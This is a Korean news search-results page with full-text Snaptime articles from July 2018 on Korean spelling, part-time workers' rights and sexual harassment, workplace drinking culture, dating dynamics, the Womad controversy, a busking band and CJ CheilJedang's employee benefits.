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뉴스 검색결과 4,250건

  • [스냅타임] [애인 도망가는 맞춤법]거기 있다는데요?
  • 신조어가 넘쳐나는 지금 “맞춤법이 뭐 그리 중요해?” 라고 할 수 있겠지만 사실은 그렇지 않다.알바몬이 조사한 바에 따르면 여대생 10명 중 9명은 맞춤법을 틀리는 남성에게 실망한다고 했다. 남성 역시 10명 중 8명은 맞춤법을 틀리는 여성에 대한 호감이 줄어든다고 답했다.취업을 준비하는 20대라면 맞춤법은 더 중요하다. 기본적인 맞춤법이 틀린 이력서나 자기소개서를 기업의 인사담당자들이 좋은 시선으로 바라볼 리가 없기 때문이다.그래서 마련했다. 평소에도 자주 사용하고, 자기소개서에서도 한 번은 등장할 법한 틀리기 쉬운 맞춤법.◇자주 쓰는 '데요'와 '대요'…"묻지도 따지지도 않고 써왔다"◇'데요'와 '대요'의 구분국립국어원에 따르면 '-대'는 직접 경험한 사실이 아니라 남이 말한 내용을 간접적으로 전달할 때 씁니다. "저 사람도 배고프대요"라고 하면 '저 사람'의 상황을 전달한 것입니다. '-다고 해요'를 줄인 표현입니다.이에 반해 '-데'는 말하는 사람이 직접 경험한 사실을 나중에 말할 때 쓰는 표현입니다."직접 가서 보니까 좋은 점이 많데요"로 표현하면 됩니다. "그 집이 알고 보니 맛집이데요" 혹은 "해외에 나가 보니 김치 생각이 말도 못하게 나데요" 등 말하는 사람이 경험한 사실을 말할 때 쓰면 됩니다.또 '하다'에 '-던'과 '-데(요)'가 결합하면 '하던데요'가 되지만 '-던'과 '-대'는 결합하지 않습니다. 그래서 '있다던대요'는 쓰지 않습니다. (사진=이미지투데이)즉 매너남과 카톡 중인 화자가 마카롱으로 유명한 카페에 가보지 않았으니 "거기 있다던대 가보실래요?" 라고 말했어야 합니다.정말 마카롱이 맛있었다면 "그 집 정말 맛있던데요"라고 말하는 것이 맞는 표현입니다.
2018.07.15 I 한정선 기자
  • [스냅타임] "점주 가족 잔소리 싫어"…실질 사업주 따져야
  • (사진=이미지투데이)지난해 여름에 학교 앞 카페에서 아르바이트를 했어. 거기 점장님은 젊고 신사적이셨는데 매장에는 잘 나오시지 않으셨어. 대신 점장님 어머니가 매장에 자주 나오셨어. 근데 이 분은 매장에 나올 때마다 온갖 잔소리를 하셨지. 예를 들어 “매장에 커피나 시럽을 조금이라도 흘리면 곧바로 닦아라”, “누구누구는 왜 이렇게 맨날 흘리냐”, “일 한지 두 달이 넘었는데 아직도 실수하느냐” 등의 말을 했지. 또 다른 직원들과 비교하는 잔소리도 엄청 자주 했어.할머니뻘이라 대꾸하기엔 조심스러워서 그분 말에 맞장구만 쳤지. 그런데 어떤 날은 나보고 어두워 보인다며 성격까지 지적하더라고. 너무 어이가 없고 분통이 터지더라고.하지만 일을 그만두면 다시 알바를 구하기도 힘들고, 당장 생활비를 벌어야 하니 연말까지 온갖 구박받으며 일했지. (사진=이미지투데이)대학생 박모(22)양은 점주 어머니로부터 갖가지 잔소리를 들으며 알바를 했다. 인격모욕 수준이어서 스트레스를 많이 받았다고 하소연했다. 이처럼 점주 가족이나 지인이 알바생에게 업무지시를 내려도 문제는 없는 것인지, 고용노동부 근로감독관에게 물었다.Q. 점주 외 가족들 업무지시는 가능한가?A. 이런 경우는 법인명의의 사업장보단 개인사업장에서 자주 나타난다. 가족이 가게를 운영하는 경우에는 점장의 어머니도 사용자로 볼 수 있다. 단 점장이 매장 관리 업무를 위탁하는 경우에만 가능하다. 또 가게가 점장과 어머니 공동 명의로 되어 있고, 공동 운영한다고 하면 점주 어머니는 알바생에게 업무지시를 할 수 있다. 근로기준법으로 판단할 때 형식적인 부분(사업자등록증 유무)만 보고 판단하는 것은 아니고 실질적인 사용자가 누구냐가 중요하다. 바지 사장들이 많다 보니 사업주의 실체를 놓고 판단한다.Q. 점주 가족들 외 친구 등 지인도 업무지시를 할 수 있는가?A. 일단 상황을 봐야 한다. 사장이 잠시 자리를 비울 때 지인에게 매장 관리업무를 위탁했다면 가능하다.Q. 만약 점주가 매장관리를 위탁하지 않았다면 가족들이나 지인의 업무지시는 불법인가?A. 위법행위라는 법리는 구성되기 어렵다. 근로기준법에는 위법행위에 대해 별도로 규정하고 있는 것은 없기 때문이다.Q. 이런 상황은 개인 소규모 사업장에서만 발생하는가?A. 대규모 사업장에서도 실질적인 사용자는 따로 있다면, 이런 사례가 발생할 가능성은 충분히 있다. 결국 실질적인 사업주가 누구냐를 따라 따져봐야 한다는 것이다.Q. 알바생이 사업주 외 다른 사람의 업무지시를 받았다면 구제 받을 수 있는 방법은 없는가?A. 고용노동청에 신고하면 근로감독관이 현장 감독 시 참고해 시정 지시를 한다.Q. 예방책은 없는가?A. 알바생이 사업주와 근로계약 맺을 때 실질적인 사업주가 누구인지 잘 살펴보는 게 좋겠다.
2018.07.15 I 박태진 기자
  • [스냅타임] 꼰대 사용설명서 - "술 강권 안 할게"
  • 2년차 직장인인 이원석(가명·29)씨는 첫 회식 전 상사의 다음과 같은 말에 '요즘은 정말 강권하지 않나봐' 라고 착각했다."요즘은 술 강권 안 하지. 편하게 마셔요."하지만 술자리가 무르익기 시작하자 상사는 말을 바꿨다. '술을 잘 마시는 것도 능력' 이라는 둥, '거래처와의 술자리는 어떻게 할 것이냐'는 둥 목소리를 높였다. 결국 '편하다'던 회식자리는 술 마시는 능력을 상사에게 보여주는 자리가 됐다. (사진=이미지투데이)문제는 다음날이었다. 상사야 쉬고 싶을 때 쉬어도 된다지만 이씨는 그럴 수 없었다. 결국 숙취에 시달리면서 겨우 겨우 하루를 버텨야 했다. 칼같이 술을 거절하던 동기는 상사들로부터 '쟤는 억지로 입을 벌려서 술을 쏟지 않는 한 마시지 않을 애'라는 뒷담화에 시달렸다.결국 마시기엔 힘들고 거절하기엔 눈치 보이는 회식을 극복하기 위해 이씨와 그의 친구들은 몇가지 방법을 마련했다.첫째 술을 먹는 것이 버거울 때는 약을 먹고 있다고 말한다. 눈이나 목처럼 겉으로 드러나지 않는 신체부위 때문에 아프다고 하면 확인하기 어렵기 때문이다. 이씨는 "'의사가 술을 먹으면 악화될 수 있다'고 하면 상사가 더는 강권하지 않더라"고 말했다.4년차 직장인 김모(31·여)씨는 '화장실 자주 가기' 전략을 쓰기도 한다. 술자리에서 휴대폰을 하는 것을 지적하는 선배는 있어도 화장실에 가는 것을 지적하는 선배는 없기 때문이라는 것이 김씨의 설명이다.그는 "회식자리가 늦어져 집에 연락하고 있는데 선배가 '앉아서 휴대폰 만지지 말고 차라리 나갔다 오라'는 지적을 들은 후부터 화장실에 가겠다고 하면서 자리를 자주 비운다"고 전했다. 화장실에 자주 가는 것을 지적하면 속이 안 좋다고 둘러댈 수도 있다는 장점이 있다고 한다.회식자리에 참석하는 것조차 몸이 힘들 때 이씨가 내세우는 것은 '코피'다. 이씨도 친구에게서 들은 회식 피하기 전략이다."오늘 오전에 코피가 두 번 났습니다. 회식 참석은 어려울 것 같습니다"다만 코피로 인한 회식 면제는 자주 사용하면 안 된다고. 그는 "아직 코피가 묻은 휴지를 보여달라고는 하지 않았다"며 "'최근 업무 때문에 무리했다. 그래서 내 몸이 매우 피곤하다'는 것을 어필하는 것"이라고 전했다.회식자리에서 술 안 마시는 방법은첫째 아파서 약을 먹고 있다고 말한다.둘째 화장실을 자주 드나들면서 술 마시는 기회를 줄인다.셋째 회식자리마저 가기 싫으면 최근 무리해 코피가 났다며 참석하기 어렵다고 전한다.
2018.07.14 I 한정선 기자
  • [스냅타임] '연애의 갑과 을' 관계…"이젠 그만 좀"
  • (이미지=이미지투데이)"내 남자친구는 나한테 꼼짝 못해!"자신이 연애에서 주도권을 쥐고 있다는 얘기를 자랑스럽게 말하는 사람들이 있다. 이들은 상대보다 우위에 있음에 만족한다. 소위 말하는 연애에 있어 '갑'이다.실제로 많은 연인이 연애를 하며 갑과 을로 나뉘곤 한다. '전 왜 항상 연애할 때 을일까요?'라든가 '갑이 되려면 어떻게 해야 할까?' 등의 질문이 인터넷 상에서 쏟아지는 것도 이 때문이다. 허지원(24·여)씨도 마찬가지였다. 그녀의 연애는 항상 '갑'과 '을'로 나뉘었다. 그중 그녀는 항상 '을'이었다. 그녀는 항상 연애에 있어 '을'이었다."보고 싶으면 네가 우리 집 앞으로 와."대학교에 입학한 후 만났던 과 선배는 처음엔 그녀에게 모든 것을 쏟아 붓듯 하더니 100일이 채 안됐을 무렵부터 '갑'으로 변했다. 이후의 남자친구들도 비슷한 패턴이었다.줄어든 연락에 마음 졸이기 일수였고, 집 혹은 영화관이라는 단조로운 데이트의 반복이었다. 이마저도 귀찮다거나 피곤하다는 이유로 취소되곤 했다.남자친구의 단조로운 말투, 귀찮아하는 태도에 허씨는 상처 받았다. 때로는 화를 내려다가도 냉정한 남자친구가 행여나 '헤어지자'할까 속으로 삼켰다."제가 손을 놔버리면 상대는 아무렇지 않게 제 곁을 떠날 것 같아서 아무것도 할 수 없었어요. 그가 저를 무시하고 '을' 취급한다는 것을 알면서도 아무 말 못했죠."결국 사귀는 내내 '을'이었던 허씨는 그의 일방적 통보로 헤어짐을 맞이했다. '갑', '을'이 아니다, 열렬히 사랑한 자와 그러지 못한 자일 뿐보들레르는 <벌거벗은 내 마음>에서 "서로에게 홀딱 반한 두 연인이 욕정으로 가득 차 있을 때라도, 언제나 그들 중 한 사람은 더 침착하고 덜 몰두해 있는 법이다. 그 사람이 남자이건 여자이건, 수술집도의 또는 사형집행인의 역할이고 나머지 사람이 환자이며 희생자가 된다"고 말했다.그의 말대로 연애는 똑같이 사랑하기란 불가능하며, 누군가 더 사랑하는 쪽을 맡게 된다. 그래서 연애는 주도권을 갖고 있는 자, 즉, 더 많이 사랑 받는 자를 '갑'이라 지칭한다. 반대로 더 많이 사랑하는 자는 '을'이다.사람들은 '갑'이 되고자 한다. 더 사랑 받는 것이 편하기 때문에.그러나 조금 다르게 생각해보면 '갑'은 더 사랑하는 것을 두려워하는 겁쟁이이고 '을'은 열렬히 사랑할 준비가 돼 있는 용기 있는 사람이다. 언제나 연애에서 권력 관계를 형성하는 것은 상대를 사랑하는 것이 두려워 우위에 있고 싶은 '갑'이기 때문이다.누가 더 사랑하느냐, 누가 더 우위에 있느냐를 따지기 바쁜 '갑'의 연애보다 권력의 우열이 사라진 깊은 관계를 추구하는 '을'이 더 건강한 연애가 아닐까. (이미지=이미지투데이)
2018.07.14 I 박희주 기자
  • [스냅타임] 워마드는 ‘필요악’이라는 그들
  • 지난 10일 여성 우월주의 ‘페미니즘’을 표방하는 ‘워마드’에서 성체 훼손 사진이 올라와 사회적 파장을 일으켰다. 이에 회원들은 "여자 신체 훼손 시켜서 야동 만들던 XX들이 빵 조각 하나 태웠다고 XX이야" “우리는 여성인권을 위한 필요악이자 사탄이야”와 같은 반응을 보였다.이에 트위터 유저들은 “그럼 일본인이 태극기에 조센징 적고 불태워도 고작 천 쪼가리라고 말할 거냐”라며 반박했다. (이미지=디시인사이드, 워마드)그들만이 사는 세상"우리가 유관순이다"워마드는 유관순 열사의 독립운동과 자신들의 행동이 다르지 않다고 말한다. 자기들의 주장을 관철하기 위해 투쟁이 필요하다는 것이다.대학생 황진태(24·남)씨는 “3·1 운동은 비폭력 운동이었고 독립이라는 정의로운 목적이 있었지. 너네는 목적이 뭔데?”라고 비판했다.워마드에서 '목표'라는 단어를 검색한 결과 “여자가 99프로 해먹고 남자는 1프로만 뽑아서 잡일 및 눈요깃거리로 삼는거노”라고 적은 조회수 1229와 62개의 추천이 있는 글을 찾았다. (이미지=이미지투데이)자기합리화의 종점자신들의 행위는 일베 소라넷이 한 것을 그대로 따라 할 뿐이라며 ‘미러링’이라 주장한다. B대학교 대나무숲에서는 “어렸을 적 광견에게 물렸다 하여 강아지를 볼 때마다 발로 차는 행위가 정상이라고 보세요?”라는 글이 올라왔다.일부는 ‘재기해(고 성재기 남성연대 대표의 죽음에 빗대 ‘자살하라’는 뜻의 여성 커뮤니티 언어)’는 ‘(문제를)제기해’ 또는 ‘다시 일어서’라는 뜻이라며 비하발언을 하지 않았다고 한다.페이스북 페이지 유머저장소의 관리자는 “어릴 적 바보를 ‘바다의 보배’라고 하거나 천재를 ‘천하의 재수 없는 놈’이라고 말하는 것과 수준이 똑같다”고 말했다. (이미지=워마드)진정한 평등을 원하세요?지난 7일 혜화역에서 6만명의 페미니스트들은 자이팅(자매+화이팅)을 외쳤다. 워마드와 같이 남성비하 발언을 일삼으며 ‘미러링’으로 혹은 ‘(문제를)제기해’로 자신들을 포장했다. 남녀평등이란 정의를 수호한다는 그들의 주장과 현실의 모습은 괴리감을 보였다.이번 사건에 분개한 네티즌들은 “진정한 평등을 원한다면 ‘N명의 페미니스트에 N개의 페미니즘’이란 슬로건으로 워마드를 옹호하거나 합리화해서는 안 된다” “여성우월주의자들이 성(sex)에 대해 남성과 여성 이분법적 사고를 갖지 않고 수많은 젠더를 인정한다고 해서 페미니즘 안에 다양한 스펙트럼이 있다는 말은 있을 수 없다.” “내로남불(내가 하면 로맨스 남이 하면 불륜) 그만하고 논리와 이성에 따라 행동했으면 좋겠다”고 말했다.현택수 한국사회문제연구원장은 “특정 집단이 과격하게 자신의 신념을 주장하면 사회로부터 고립될 수 있다”며 “결국 자신들의 신념을 설득시키는 목적을 달성할 수 없게 될 수 있다”고 말했다.현 원장은 “감정적으로 치달을 것이 아니라 이성적인 토론을 통해 자신들의 신념을 설득시키는 과정이 필요하다”고 덧붙였다.
2018.07.14 I 유정수 기자
  • [스냅타임] 버스킹은 무모한 도전?…"꿈 이루는 가장 행복한 무대"
  • '너의 목소리가 보여 시즌 5'에 의정부 신치림으로 출연, 얼마 전엔 전국 투어까지 마친 밴드 가능동. 엄청난 스펙에 화려한 기획사, 오래된 경력이 뒤따라올 것 같지만 그들은 이제 막 1년 차에 접어든 27살 동갑내기 버스킹 밴드다.보컬을 맡고 있는 임근주, 바이올린의 신예찬, 드럼 조환석. 음악에 대한 열정 만으로 무작정 거리에 나섰던 동갑내기 세 사람은 이제 버스킹에서 꽤 유명한 위치까지 성장했다.오직 목소리와 기타, 드럼, 바이올린이라는 악기만으로…가능동 밴드의 탄생 왼쪽부터 보컬 임근주씨, 드럼 조환석씨, 바이올린 신예찬씨(사진=가능동 밴드)"예전부터 버스킹에 관심이 많았어요. 그날도 연습을 위해 연습실로 향했죠. 그곳에서 만났어요 이 친구들과."가능동 밴드의 보컬인 임근주, 바이올린 신예찬, 드럼 조환석은 서로 일면식도 없었지만 같은 연습실을 공유하는 사이였다. 공통점이 있다면 알고 보니 스물 일곱 살 동갑에 같은 동네에서 산다는 것과 음악에 대한 꿈이 있다는 점이었다. 세 사람은 연습실에서 종종 마주쳤고 급속도로 친해졌다.임씨는 초기 '가능동'의 탄생에 대해 "예찬(바이올린)이가 먼저 버스킹 제안을 했다"며 "어쿠스틱 노래에 현악기가 잘 어울릴 것이라 생각하고 있던 때라 흔쾌히 제안을 받아들였다"고 설명했다. 이후 조씨도 합류해 지금의 가능동이 완성됐다. 바이올린을 밴드에 접목시키다"초기 목표는 '바이올린'을 접목시키는 것이었어요."기존에 있는 밴드와 차별화됨은 물론이고 현악기를 이용하고 싶었던 임씨의 바람이 실현시킬 수 있는 가장 중요한 일이었다.물론 쉬운 일은 아니었다. 가요를 바이올린으로 표현하는 것이 생각보다 어려웠다. 임씨는 "편곡, 드럼과 보컬과의 조화 등 신경 쓸 게 한두 가지가 아니었다"며 고충을 토로했다. 이어 그는 "하지만 오랜 시간을 거듭해 한 곡씩 편곡을 완료하고 나니 바이올린의 영향력은 기대 이상이었다"며 "기존의 밴드가 나타낼 수 없는 느낌을 표현할 수 있었다"고 말했다. (이미지=스냅타임)장점은 이 뿐 만이 아니었다. 버스킹에서 흔히 볼 수 없는 악기다 보니 사람들의 시선을 끄는 역할도 톡톡히 했다. 관객이 중요한 버스킹에 있어 더할 나위 없는 최상의 궁합이었다. 이후엔 '가능동 밴드'의 심볼과 같은 요소가 됐다. 쉬지 않고 '버스킹', SNS에 퍼지면서 유명세"꾸준히 그리고 열심히 버스킹을 하다 보니 알아주는 분들이 늘어났어요."가능동은 약 두 달 간의 준비 끝에 첫 공연을 성황리에 마치고 난 후 거의 매주 거리로 나섰다. 홍대, 신촌, 의정부, 부산 해운대 등 거리 공연을 할 수 있는 곳은 모두 찾아갔다. 관객과의 호흡이 중요한 버스킹인 만큼 실전 경험보다 중요한 것은 없다고 생각했기 때문이다."지난 해 가능동 밴드의 공연을 촬영한 영상이 유튜브에 올라오면서 본격적으로 이름을 알리게 됐어요."조회수가 190만에 달하는 영상도 생겼다. 페이스북에도 신씨가 하울의 움직이는 성을 바이올린으로 커버한 영상이 2만여 개의 '좋아요'를 받으며 이슈가 됐다. '일반인의 소름 돋는 라이브' 페이지는 조회수만 75만, 공유는 4000회를 돌파했다.이들은 "우리 얼굴이 여기저기서 보이니까 신기했다"며 "지금에 이를 수 있었던 것은 SNS의 영향력이 크다고 생각한다"고 말했다.실제로 가능동 밴드가 갈고 닦았던 공연실력과 SNS라는 환경이 시너지를 일으키면서 팬이 급속도로 늘어났다. 이후엔 롯데월드, 신세계 백화점, 경인여자대학교 등 다수 행사와 축제에 참여했고 방송까지 출연했다. 버스킹으로 시작해 전국 투어에 앨범 발매까지"수상한 거리에서 연락이 왔어요. 콘서트 제의였죠."기독교문화와 대중문화를 접목한 홍대 축제를 개최하는 수상한 거리에서 가능동 밴드에게 콘서트를 제안했다. 백종범 수상한 거리 대표는 "보컬의 힘 있는 목소리와 바이올린을 접목한 새로운 구성이 눈에 띄었다"며 "좋은 뮤지션이 될 수 있을 것이라 생각해 콘서트를 제안하게 됐다"고 말했다.임씨는 버스킹만 하던 가능동 밴드의 콘서트가 가능할지 의문이었다. 그는 "우리를 보기 위해 몇 백 분이 오실까 싶었다"며 "하지만 좋은 기회라 생각해 두려움을 무릅쓰고 도전했다"고 언급했다. (사진=가능동 밴드)가능동 밴드의 콘서트는 우려와 달리 팬들의 적극적인 참여 속에서 성공적으로 이뤄졌다. 지난해 11월 3일에 처음 진행했던 '홍대시 가능동 가능동 밴드' 콘서트는 150석이 당일 매진됐다. 12월 30일에 케이아트 디딤홀에서 진행한 '가능동 밴드 콘서트'도 250석이 2회 매진됐으며 인터파크 콘서트 랭킹에서는 1위를 차지했다. 이전 콘서트의 긍정적인 결과 덕분에 올해 2월엔 전국 콘서트도 진행했다. 부산, 대구, 서울, 의정부 등 가능동 밴드가 자주 버스킹 하는 곳에서 이뤄졌다. 올해 3월 26일에는 가능동 밴드의 싱글 앨범 '장미'를 발매하기도 했다. 쉬지 않는 가능동 밴드 "망설이지 말고 도전했으면""움직이지 않고는 결과물이 나오지 않으니까요. 무작정 거리로 나섰어요."가능동 밴드는 평범한 20대 청년들이었다. 연습실에서 만난 동갑내기 친구들이 '버스킹'이라는 하나의 목표를 통해 뭉쳤고 망설임 없이 거리로 나섰다. 그 결과 가능동 밴드는 자신들만의 세계를 구축하는 데 성공했다. 이들은 "다른 사람들도 망설이지 말고 도전했으면 좋겠다"고 말했다.조씨는 "주위에 비슷한 꿈을 갖고 있는 친구들이나 동생들을 보면 버스킹 공연 전에 만반의 준비를 하려고 한다"며 "버스킹은 연습실에서 죽치고 연습하는 것보다 일단 거리에 나가는 것이 중요하다"고 강조했다.이어 임씨도"무조건 많이 해보는 것이 좋다"며 "부족하다 할지라도 부딪혀보고 무너져도 보고 하는 게 중요하고 관객과 직접 만나봐야만 버스킹을 하는 실력도 늘 수 있다고 생각한다"고 덧붙였다.현재 가능동 밴드는 콘서트와 앨범 발매에 그치지 않고 또 다른 길을 개척하기 위해 노력하고 있다. 앞으로의 목표는 '메시지'를 전하는 밴드가 되는 것이다."거리에서 듣고 멈춰 서는 밴드가 지금까지 목표였다면 앞으로는 더 나아가 우리의 메시지를 지닌 밴드가 되고 싶어요. 그게 꿈이자 목표입니다."[박희주 강의령 박새롬 인턴기자]<!--/codes_iframe-->
2018.07.13 I 박희주 기자
  • [스냅타임] “알바생, 성희롱 당하면 사업주에 알려야”
  • 지난해 여름 서울의 한 카페에서 알바를 할 때였어. 회사가 많은 강남역 주변이라 그런지 40~50대 남성 직장인 손님이 많았지. 어느 날 아빠 뻘로 보이는 한 단골 아저씨가 “이 카페는 커피 맛이 좋기 보다 아가씨(알바생)가 예뻐서 와요”라면서 미소를 보였어. 근데 나는 그게 너무 불쾌했어. 그리곤 내 몸을 훑어보는 거야. 내가 잘못한 것도 없는데 성적 수치심까지 느꼈지. 그 일이 있고 나서 그 손님이 오면 남자 알바생에게 상대해달라고 부탁했어. 그 이후로는 그 손님이 잘 안보이더라고. 지금도 그때만 생각하면 소름이 돋아. (이미지=이미지투데이)백지혜(23·가명)씨는 지난해 아르바이트를 하면서 악몽과도 같은 일을 겪었다. 손님으로부터 성희롱을 당한 것이다. 처음 겪는 일이라 며칠 동안 밤잠을 설칠 정도였다. 백씨처럼 여자 알바생들은 손님으로부터 성희롱을 심심찮게 당하는 것으로 나타났다. 어떤 손님은 편의점 알바생에게 사귀자고 전화번호를 집요하게 물어보는 사례도 있다. 더욱이 알바생들은 고객과의 관계 때문에 쉽사리 싫다는 내색조차 할 수 없다.여자 알바생을 위한 성희롱 예방책은 없는 것일까. 피해를 당했다면 어떻게 대처해야 할까. 고용노동부 관계자에게 물었다. (이미지=이미지투데이)Q. 손님이 알바생을 성희롱한 것과 관련, 위법성을 입증할 수 있는 가?A. 남녀고용평등과 일·가정 양립 지원에 관한 법률(남녀고용평등법) 제14조2에 따라 알바생이 사업장에서 고객 등에 대한 성희롱이 발생했을 때 사업주에게 알리고 적절한 조치를 해달라고 요청해야 한다. 만약 사업주가 이에 대해 적절한 조치를 하지 않으면 위법행위에 해당한다.Q. 사업주가 취할 수 있는 조치는 어떤 게 있는 가?A. 손님이 여직원을 성희롱을 한다면, 해당 여직원이 고객을 상대하지 않는 업무로 바꿔주거나, 근무 장소를 바꿔줄 수 있다. 다만 알바생은 하는 일이 정해져 있기 때문에 업무를 바꾸는 게 쉽지 않다. 이런 경우 사업주가 유급휴가를 주거나 프랜차이즈 매장의 경우 배치전환을 통해 근무지를 옮겨주는 것도 한 방법이다.Q. 성희롱 피해 알바생에게 적절한 조치를 하지 않은 사업주는 어떤 처벌을 받는가?A. 남녀고용평등법에 따라 해당 사업주는 3년 이하의 징역 또는 2000만원 이하의 벌금에 처한다.Q. 손님에 대해서는 어떻게 대처해야 하는가?A. 사업주가 성희롱에 해당하는 언행을 자제해 달라고 요청하거나, 관련 문구를 매장에 걸어놓는 등의 조치를 할 수 있다. 하지만 손님에 대해 직접적인 처벌을 내릴 수 있는 방법은 많지 않아 직원들을 대상으로 교육을 통해 성희롱을 예방하는 것이 좋다.Q. 사업장에서 실시하는 성희롱 예방교육에는 점주 외 고객과의 관계도 포함한 것인가?A. 당연히 포함된다.Q. 성희롱을 당했을 시 알바생은 어떻게 대처해야 하는가?A. 일단 점주에게 말을 해야 한다. 성희롱 방지책을 마련해달라고 요구하고, 사업주는 알바생의 고충해소를 위해 적절한 조치를 해줘야 한다.Q. 만약 사업주가 적절한 조치를 취하지 않고 오히려 알바생이 인사상 불이익을 받았을 경우 어떻게 해야 하는가?A. 이는 위법행위에 해당하기 때문에 사업장 인근에 있는 지방고용노동청(관서)에 익명으로 신고해서 조치를 받아야 한다.
2018.07.13 I 박태진 기자
  • [스냅타임] 식품만? 문화도 인재도 CJ제일제당
  • (이미지=스냅타임)"저는 CJ제일제당 1년 차 신입사원입니다. 다른 회사에 취업한 친구들과 얘기하다 보면 회사 분위기가 많이 다른 걸 느껴요. 특히 직장 상사로부터 듣는 농담 한마디조차 신입에겐 걱정거리가 될 수 있잖아요. 저희는 그런 불편한 상황은 상상하기 어려운 부드러운 분위기예요."식품회사라 하면 꼰대 문화에 딱딱한 분위기일 것 같다는 이미지가 있다. 그중에서도 국내 식품업계 1위이자 K-Food 식문화를 선도하는 CJ제일제당은 어떤 곳일까. (사진=CJ제일제당) 해외 진출·자기계발 돕는다 전 세계 K-푸드 선두 주자인 CJ제일제당. 덕분에 많은 직원들이 해외에서 근무할 기회를 얻고 있다. 소수의 뛰어난 직원만 해외로 보내는 다른 회사와 달리 CJ제일제당은 국내 직원들의 해외 근무 경험을 장려하고 있다. 특히 자기계발 기회를 글로벌하게 지원한다는 점에서 차별화를 꾀하고 있다.'글로벌 노크(Knock)' 프로그램을 통해 어학연수·해외연수·국내 어학원 등 직무·역량개발을 목적으로 3~12개월간 직원들에게 휴직을 지원하고 복직도 보장한다. 외부 어학 강사를 초청한 무료 사내 어학 과정도 있다. 직원들은 아침·점심·저녁·주말 등 다양한 시간대의 강의를 자유롭게 선택할 수 있다.해외 출장서 업무만 보고 돌아오기엔 아쉽기 마련. 그런 직원들에게 '글로벌 인사이트(Insight)' 프로그램을 통한 해외 문화 탐방 기회를 준다. 연차를 해외 출장 앞뒤로 붙여 쓰게 해주고 돌아오는 경비는 회사에서 지원한다.직장인들의 로망인 '해외에서 한 달 살기'까지도 가능하다. 직원들은 입사 후 5년마다 2주의 유급휴가를 쓸 수 있는데 연차를 연달아 사용한다면 최대 4주간 휴가를 사용할 수 있다. 덕분에 곧 4주 동안 태국으로 여행 가는 직원도 있고, 알래스카에 다녀올 계획인 직원도 있다. 또한 10년 차 이상 직원부터는 5년마다 휴가비도 100만원 이상 지원해준다. (이미지=이미지투데이) 우리 인재는 확실하게! CJ제일제당은 인재양성에 애쓰는 회사다. 신입사원은 입사 후 CJ그룹 차원의 입문교육을 마친 뒤 CJ제일제당 교육에 들어간다. 이때 브랜드 매니저들이 CJ제일제당의 수많은 제품과 부서에 대해 설명해준다.신입사원들은 5주 동안 사업 역사와 조직, 브랜드와 제품에 대한 기본적인 교육 외에도 직접 참여하는 프로젝트형 콘텐츠를 통해 조직생활에 적응한다.특정 국가와 제품 카테고리를 선정해 글로벌 진출 전략을 짜는 '글로벌 스트레티지 컴피티션(Global Strategy Competition)' 프로그램을 통해 핵심 인재로 성장할 수 있는 기회도 발돋움할 수 있다. 또 제일제당의 비전과 브랜드, 신입사원으로서의 다짐 등을 광고·영화·패러디·뮤직비디오 형태로 만드는 'We Love CJ제일제당'에 참여하며 회사에 대한 소속감과 동기애를 느낄 수도 있다.또 입사 후 한달 동안 '온리원 페어(ONLYONE FAIR)'를 열어 신입사원들이 직접 낸 아이디어를 발표한다. 수상한 직원에겐 해외 연수 기회가 주어진다. 'ONLYONE FAIR'에서 나온 아이디어는 실제로 사업으로 연계되어 출시되기도 한다. 이건 몰랐지? 분위기도 자유롭다고! CJ제일제당에서는 업무 시간 중에 영화나 야구를 보러 갈 수 있다. 최근엔 삼삼오오 모여 우쿨렐레를 치러 간 직원들도 있다. 선후배 관계와 부서에 구애받지 않고 직원들이 서로 편하게 지낼 수 있도록 한 '소확행' 프로그램 덕분이다. 어디서 뭘 해도 좋다.후배들이 함께 놀고 싶은 리더를 고르면 리더가 함께 시간을 보내는 '00님이 쏜다' 프로그램도 있다. 평소보다 더 일상적이고 개인적인 시간을 공유할 수 있다. 중요한 점은 '퇴근 후'가 아니라는 것이다. 근무 시간 중이기 때문에 퇴근 후 개인의 시간을 뺏기거나 과음을 할 걱정도 없다. (이미지=이미지투데이) "휴가 제도가 다양하면 뭐해. 대기업 다니면 쓸 시간도 없고. 눈치도 보여서 잘 못 쓰지 않아?"전혀 그렇지 않다. CJ제일제당에서는 휴가를 장려한다. 연휴 중 국가가 대체공휴일로 지정하지 않는 애매한 날도 징검다리 휴일로 만들어 준다. CJ제일제당만의 '골든브릿지' 휴일이다. 모든 직원이 그날은 휴무다. 미리 연휴에 포함해서 휴가를 계획하라고 아예 연초에 전사적으로 공지한다.대표이사부터 직원들에게 휴가를 얼른 쓰라고 장려하기 때문에 여타 기업처럼 "넌 왜 선배가 쉬기 전에 쉬냐" "오래 놀다 오니 일 적응 안 되냐" 등 잔소리를 들을 일이 전혀 없다. 빠짐없는 복지까지1년에 75만원의 포인트로 직원들의 자기계발도 돕는다. 학원 비용이나 여행 경비뿐 아니라 쇼핑에도 사용할 수 있다. 특히 해외 호텔 예약 때 빛을 발한다. 제휴 호텔을 예약하면 원래 가격의 5분의 1 정도만 내가 부담하면 된다.CJ 전용 신용카드인 '임직원 카드'로 올리브영, 일부 프리미엄 매장을 제외한 CJ푸드빌 외식 브랜드, CGV 등에서 월 한도 내 최대 40% 할인 혜택을 받을 수 있다. 월 한도는 50만원인데 외식업체와 올리브영, 영화관이 각각 따로다. CJ제일제당 지하 1층(사진=스냅타임)임직원 카드의 모든 할인 혜택은 항상 중복할인이 된다. 시기만 잘 노린다면 필요한 생필품·화장품을 80%이상 할인된 가격에도 살 수 있다! (나도 CJ다닐래...) 사옥 지하에도 푸드빌 계열사 음식점과 커피전문점, 올리브영이 있어 퇴근 후 혹은 점심시간에 방문할 수 있다. 와인이나 플라워 샵도 있다. Olive market이 있어 다른 대형마트에서 장 볼 필요도 없다. 이외에도 자유로운 휴식 공간, 사내 병원, 피트니스 센터, 사내 어린이집까지 복지 시설은 모두 갖췄다. 왼쪽 위 부터 시계방향으로 휴게공간, 사내 병원, 피트니스 센터, 사내 보육시설 (사진=스냅타임)해외 진출 기회도 많은데 다 확실한 인재 양성까지 책임진다. 거기다 사내 분위기와 복지 제도까지 빠지지 않는 CJ제일제당. 항상 대학생들이 가고 싶어하는 기업 상위권에 자리매김하는 이유가 분명했다.[박새롬, 정다운 인턴기자]
2018.07.13 I 박새롬 기자
  • [스냅타임] [애인 도망가는 맞춤법] 내일 뵈요?
